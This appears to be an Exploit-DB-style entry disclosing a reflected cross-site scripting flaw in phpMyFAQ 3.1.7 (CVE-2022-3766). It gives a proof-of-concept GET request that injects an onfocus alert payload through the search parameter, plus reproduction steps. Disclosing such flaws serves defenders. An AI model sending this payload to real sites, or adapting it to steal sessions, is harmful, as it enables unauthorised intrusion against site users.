phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS)

Author: CodeSecLab
type: webapps
platform: multiple
port: 
date_added: 2025-12-02 
date_updated: 2025-12-02 
verified: 0 
codes: CVE-2022-3766 
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# Exploit Title: phpMyFAQ  3.1.7 - Reflected Cross-Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpmyfaq/
# Software Link: https://github.com/thorsten/phpmyfaq/
# Version: 3.1.7
# Tested on: Windows
# CVE : CVE-2022-3766


Proof Of Concept
GET http://phpmyfaq1/index.php?action=main&search=%22%20onfocus%3D%22alert%281%29

Additional Conditions:
- Ensure that no security mechanisms (like a web application firewall) are blocking the specific request pattern.
- The application must be running a phpMyFAQ version prior to 3.1.8.


Steps to Reproduce
Log in phpmyfaq.
Send the request.
Observe the result